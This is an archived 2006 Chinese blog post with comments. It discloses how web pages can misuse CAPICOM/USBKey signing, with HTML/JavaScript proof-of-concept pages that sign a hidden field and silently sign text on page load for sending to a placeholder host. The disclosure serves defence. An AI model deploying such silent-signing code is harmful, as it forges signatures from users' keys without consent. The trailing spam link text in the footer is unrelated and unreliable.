<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    David.Turing's blog

     

    [原創(chuàng)]國內(nèi)大部分的USBKey通過B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞

    很多人喜歡使用UsbKey產(chǎn)生數(shù)字簽名的方式提交到服務(wù)器,最近我做的幾個省廳的項目均如此,利用USBKey提供的ActiveX插件(更常見的是CAPICOM接口)通過USBKey廠商提供的WindowsCSP去調(diào)用UsbKey產(chǎn)生數(shù)字簽名。

    1,?
    用戶在頁面瀏覽文書

    ??????2,? 用戶對頁面中的 Form 數(shù)據(jù)進行簽名

    ??????3,? 在本地產(chǎn)生數(shù)字簽名

    ??????4,? 數(shù)字簽名提交到服務(wù)器


    ???大家都認(rèn)為以上的方案非常可靠,但這種方案存在一個極為嚴(yán)重的安全問題——誘導(dǎo)簽名。
    ???UsbKey的用戶在大多數(shù)情況下無法確認(rèn)自己看到的數(shù)據(jù)就是自己說簽名的數(shù)據(jù)!因為,簽名數(shù)據(jù)源是通過
    JavaScript 去控制的,而不是用戶。

    我舉一個簡單的例子,如下面的頁面 ,? 用戶看到并以為自己產(chǎn)生簽名的源數(shù)據(jù)是“逮捕張子強及其同伙” , 但其實不是!

    <script src="Sign.js"></script>

    <OBJECT id="oCAPICOM"

    codeBase="capicom.cab#version=2,0,0,3" classid="clsid:A996E48C-D3DC-4244-89F7-AFA33EC60679"></OBJECT>

    ?

    <br>

    <form id="writeSig" method="post" name="writeSig" action="/SignServlet" target="_top">

    看上去進行簽名的數(shù)據(jù): <input name="data"? value=" 逮捕張子強及其同伙 " >

    ?

    <br>

    <!-- 實際上進行簽名的數(shù)據(jù): " 釋放張子強及其同伙 " -->

    <input type="hidden" name="data_danger" value=" 釋放張子強及其同伙 " >

    <br>

    ?

    數(shù)字簽名結(jié)果: <textarea cols="100" rows="20" id="theSignedData"></textarea>

    <br>

    <INPUT TYPE="button" name=t1

    value=" 簽名數(shù)據(jù) " onclick="theSignedData.value=pkiSignData(data_danger.value)">

    </form>

    上面的惡意例子能夠運行于所有的 USBKey 的頁面,用戶簽名的數(shù)據(jù)其實是“釋放張子強及其同伙”。但由于數(shù)據(jù)被隱藏于頁面之后,用戶根本看不到,以至于產(chǎn)生惡意誘導(dǎo)簽名的嚴(yán)重后果。

    防止這種惡意誘導(dǎo)簽名的辦法通常是在服務(wù)器要確保所有的涉及數(shù)字簽名的頁面在傳遞到客戶端 IE 瀏覽器前,都不會被篡改,但這種方法不能保證 100% 安全,因為在用戶那一端,仍然存在一種非常高風(fēng)險的誘導(dǎo)簽名的可能,甚至是未經(jīng)用戶許可,直接調(diào)用用戶 USBKey 去產(chǎn)生惡意數(shù)字簽名,看下面的例子:

    用戶在瀏覽頁面的時候,已經(jīng)在頁面背后無聲無色地產(chǎn)生了數(shù)字簽名,而且用戶根本無法知道自己已經(jīng)對“ 我今天去好又多偷了幾包煙 ”這樣的內(nèi)容進行了簽名!

    下面的例子是真實的例子,能夠運行于任何的 IE 瀏覽器,最后的結(jié)果是,頁面通過用戶的 UsbKey 產(chǎn)生了惡意簽名并送到 www.danger.com

    <script src="Sign.js"></script>

    <OBJECT id="oCAPICOM"

    codeBase="capicom.cab#version=2,0,0,3" classid="clsid:A996E48C-D3DC-4244-89F7-AFA33EC60679"></OBJECT>

    <body onLoad="signWithAllowed()">

    <br>

    <form? id="writeSig" method="post" name="writeSig" action="/SignServlet" target="_top">

    你在瀏覽文書: <input name="data"? value=" 逮捕張子強及其同伙 ">

    你以為這是僅僅是一個用于瀏覽的頁面!!

    ?

    </body>

    ?

    <script>

    function signWithAllowed()

    {

    ???????? //alert(' 惡意簽名執(zhí)行 , 以下的簽名將不知不覺地被產(chǎn)生,并保存到某個地方 ');

    ???????? var sign_value=pkiSignData('?我今天去好又多偷了幾包煙 s');

    ???????? //alert(sign_value);

    ???????? sendSignValueToDangerPalce();

    }

    ?

    function sendSignValueToDangerPalce()

    {

    ???????? //Send Signvalue to www.danger.com

    }

    </script>

    ???????在目前大多數(shù)Usbkey中均存在誘導(dǎo)簽名的問題,在第一次產(chǎn)生數(shù)字簽名的時候,USBKey會提示用戶輸入PIN,但在第2次,第3次簽名動作產(chǎn)生的時候,這些都已經(jīng)是用戶無法感知的事實!
    ????? 這就是我為什么不希望使用B/S,而是C/S方式手段產(chǎn)生數(shù)字簽名的原因。
    ???????我的另外一篇文章提到如何通過Java調(diào)用CryptoAPI:?
    ??????http://www.tkk7.com/security/archive/2006/07/11/java_cryptoapi_csp_signature.html, 已經(jīng)被用于SecureX Eclipse Plugin(securex.sourceforge.net)當(dāng)中。
    ??????
    ??????在我負(fù)責(zé)的多個業(yè)務(wù)系統(tǒng)中的數(shù)字簽名/印章中,均存在上面的危險!除非我們能夠確保惡意頁面不存在,否則,某個程序員在系統(tǒng)中,哪怕是Insert很小一段JS代碼到某個不顯眼的頁面,后果是非常嚴(yán)重的。

    posted on 2006-11-13 11:06 david.turing 閱讀(14859) 評論(12)  編輯  收藏 所屬分類: Security領(lǐng)域

    評論

    # re: [原創(chuàng)]國內(nèi)大部分的USBKey通過B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2006-11-13 13:16 詠梅

    去掉"Hidden"屬性可否顯現(xiàn)?此腳本可否設(shè)定權(quán)限/  回復(fù)  更多評論   

    # re: [原創(chuàng)]國內(nèi)大部分的USBKey通過B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2006-11-13 14:52 david.turing

    該頁面可以放在信任站點的任何路徑上,然后直接調(diào)用客戶端的Capicom產(chǎn)生簽名,神不知鬼不覺。

    測試頁面可見于:
    http://securex.sourceforge.net/testusb/SilentSign.htm

    1,把securex.sourceforge.net設(shè)置成信任站點(目前很多項目都是這樣做的)
    2,訪問上面的頁面,然后看看html源代碼
      回復(fù)  更多評論   

    # re: [原創(chuàng)]國內(nèi)大部分的USBKey通過B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2006-12-02 22:05 紅旗的理想

    是不是要USBKey來測試上面哪個連接才看的出效果呢?  回復(fù)  更多評論   

    # re: [原創(chuàng)]國內(nèi)大部分的USBKey通過B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2006-12-05 16:20 小人物

    不是要進行驗證的嗎?驗證的內(nèi)容包含了簽名信息和原始信息,原始信息的來源應(yīng)該不是來自hidden的吧?如果說那程序員連原始信息來源處也改了那就是走C/S也沒用,他還不是可以做個仿界面來搞鬼?天下哪有十全十美的方法。  回復(fù)  更多評論   

    # re: [原創(chuàng)]國內(nèi)大部分的USBKey通過B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2006-12-05 20:30 david.turing


    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1

    你說對了,但我的工作是要客戶認(rèn)為這足夠安全,并且讓
    客戶認(rèn)為(他們會找第三方公司對SecureX的客戶端源代碼
    進行核實,然后才部署),這樣會相對安全很多。

    -----BEGIN PGP SIGNATURE-----
    Version: PGP Desktop 9.0.5 - Enterprise license
    Comment: http://www.pgp.org.cn

    iQA/AwUBRXVmn02j31FcBpdPEQJLoQCfbWlFvBJ6jpOxIpjR/4PU1bzOHfAAoMr9
    BQyMQ7d7qfMetMZbqUbGruAT
    =FEqC
    -----END PGP SIGNATURE-----
      回復(fù)  更多評論   

    # re: [原創(chuàng)]國內(nèi)大部分的USBKey通過B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2006-12-19 12:47 flown

    如果程序員在程序中留有后口,那么系統(tǒng)肯定是不安全的。

    這個你無論通過什么方式都保證不了,無論是C/S,還是B/S  回復(fù)  更多評論   

    # re: [原創(chuàng)]國內(nèi)大部分的USBKey通過B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2007-11-13 00:10 yhb7805.cublog.cn

    如果不考慮攻擊瀏覽器,那么你說的腳本一定是由服務(wù)器的腳本生成的。
    如果服務(wù)器和Browser之間是通過SSL建立的連接(IE6現(xiàn)在不能對Server強制進行認(rèn)證,但IE7和Vista已經(jīng)可以了),那么一定是真實的服務(wù)器上的腳本本身有問題,出了這樣的問題話,一定是Server端承擔(dān)該責(zé)任。
    屬于Server的問題,應(yīng)該從Server端去解決,在客戶端和USB KEY上,是找不到解決辦法的。因為前提是真實的服務(wù)器本身就有問題,根源不在這里。  回復(fù)  更多評論   

    # re: [原創(chuàng)]國內(nèi)大部分的USBKey通過B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2007-11-13 00:24 yhb7805.cublog.cn

    您討論的這個問題,已經(jīng)和加密、USBKEY沒有關(guān)系了。它本質(zhì)已經(jīng)屬于管理范疇了(對開發(fā)過程、源代碼的安全性的管理)。
    讓技術(shù)手段去解決管理問題,本身就是風(fēng)馬牛不相及。所以說安全問題30%是技術(shù),70%是管理。
    所以您的這個“嚴(yán)重安全漏洞”有些聳人聽聞的意思。
    建議多看看信息安全的規(guī)范。  回復(fù)  更多評論   

    # re: [原創(chuàng)]國內(nèi)大部分的USBKey通過B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2008-06-18 00:47 raiden

    所謂的網(wǎng)絡(luò)安全,終于在這里有人說人話了  回復(fù)  更多評論   

    # re: [原創(chuàng)]國內(nèi)大部分的USBKey通過B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2008-11-18 08:41 還要輸入名?

    舉例無任何意義。這一切都是源于源代碼的漏洞,也就是說不是技術(shù)本身,而是人為因素。如果想在代碼當(dāng)中做手腳,任何的努力都是白費的。  回復(fù)  更多評論   

    # re: [原創(chuàng)]國內(nèi)大部分的USBKey通過B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2011-08-15 14:48 ca

    這是一個很矛盾的事情,我們曾經(jīng)做過每次簽名都要用戶輸入私鑰保護PIN碼,但結(jié)果很多用戶(主要是像省廳這樣的大業(yè)主)都嫌太麻煩,即使我們以安全要求強調(diào)這個問題。
    還有更嚴(yán)重的問題,很多應(yīng)用喜歡讓用戶在網(wǎng)頁輸入PIN碼,這樣后可以在不用戶不知不覺前獲取PIN碼而進行各種私鑰操作。  回復(fù)  更多評論   

    # re: [原創(chuàng)]國內(nèi)大部分的USBKey通過B/S方式(CAPICOM)產(chǎn)生數(shù)字簽名的嚴(yán)重安全漏洞 2014-05-21 11:37 一氣哈成

    這個問題對一代USBKey確實有這個問題,但是二代所見即所簽就沒有這個問題了  回復(fù)  更多評論   

    導(dǎo)航

    統(tǒng)計

    常用鏈接

    留言簿(110)

    我參與的團隊

    隨筆分類(126)

    隨筆檔案(155)

    文章分類(9)

    文章檔案(19)

    相冊

    搜索

    積分與排名

    最新隨筆

    最新評論

    閱讀排行榜

    評論排行榜

    主站蜘蛛池模板: 国产精成人品日日拍夜夜免费| 免费在线精品视频| 免费在线观看一区| 亚洲欧洲国产视频| 亚洲理论电影在线观看| 四虎永久免费地址在线观看| 波多野结衣中文字幕免费视频| WWW国产成人免费观看视频| 亚洲一区二区三区乱码在线欧洲| 精品国产综合成人亚洲区| 免费无码A片一区二三区| 日韩午夜理论免费TV影院| 一区视频免费观看| 美女免费视频一区二区三区| 中文字幕亚洲精品无码| 久久久久亚洲精品日久生情| 国产亚洲欧洲精品| 亚洲人成电影福利在线播放 | 污网站免费在线观看| 日日摸夜夜添夜夜免费视频| 亚洲精品无码久久久久A片苍井空| 亚洲最新永久在线观看| 久久综合日韩亚洲精品色| 亚洲午夜福利在线观看| 久久久久亚洲AV无码专区网站 | 国产色爽免费无码视频| h在线看免费视频网站男男| a级毛片100部免费观看| a在线观看免费网址大全| 8888四色奇米在线观看免费看| 久久er国产精品免费观看2| 成在人线av无码免费高潮喷水| 中文字幕在线免费| 四虎影院免费在线播放| 在线免费视频一区| 亚洲免费在线观看| 激情综合色五月丁香六月亚洲| 亚洲色精品88色婷婷七月丁香| 中文字幕亚洲综合久久2| 亚洲变态另类一区二区三区| 亚洲AV无码国产剧情|